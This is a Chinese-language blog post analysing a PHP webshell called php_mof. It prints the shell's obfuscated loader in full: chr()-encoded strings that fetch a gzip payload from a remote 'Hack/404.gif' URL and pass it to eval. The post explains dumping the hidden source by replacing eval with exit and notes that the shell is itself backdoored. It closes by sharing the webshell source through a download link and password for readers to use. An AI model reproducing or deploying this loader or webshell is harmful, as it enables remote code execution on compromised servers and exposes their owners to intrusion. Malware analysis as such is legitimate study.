分析 PHP大馬-php_mof SHELL

Part 1 前言

　　https://www.phpinfo.cc/?post=30，這個馬子，看上去滿不錯，我想要源碼。

<?php
$password = 'phpinfo';//登錄密碼
//----------功能程序------------------//
$c = "chr";
session_start();
if (empty($_SESSION['PhpCode'])) {
    $url = $c(104).$c(116).$c(116).$c(112).$c(58);
    $url .= $c(47).$c(47).$c(119).$c(119).$c(119);
    $url .= $c(46).$c(112).$c(104).$c(112).$c(115);
    $url .= $c(101).$c(99).$c(46).$c(99).$c(99);
    $url .= $c(47).$c(72).$c(97).$c(99).$c(107);
    $url .= $c(47).$c(52).$c(48).$c(52).$c(46).$c(103).$c(105).$c(102);
    $get = $c(102) . $c(105) . $c(108) . $c(101) . $c(95);
    $get .= $c(103) . $c(101) . $c(116) . $c(95) . $c(99);
    $get .= $c(111) . $c(110) . $c(116) . $c(101) . $c(110);
    $get .= $c(116) . $c(115);
    $_SESSION['PhpCode'] = $get($url);
}
$unzip = $c(103) . $c(122) . $c(105) . $c(110);
$unzip .= $c(102) . $c(108) . $c(97) . $c(116) . $c(101);

@eval($unzip($_SESSION['PhpCode']));
?>

 

 

Part 2 分析

第22行這里eval修改成exit，修改后，運行代碼。

@exit($unzip($_SESSION['PhpCode']));

 

復制代碼。

 

修改代碼，如圖.

 

運行代碼，右鍵查看源代碼，代碼出來了。

 

Part 3 后門

　　常在河邊走，那有不濕鞋。

 

 

小插曲

 

Part 4 后記

　　分享，大馬源碼，喜歡的自己玩玩。

鏈接：https://pan.baidu.com/s/1lqbglb1onPFiwRVbPQRNAw 密碼：q2yy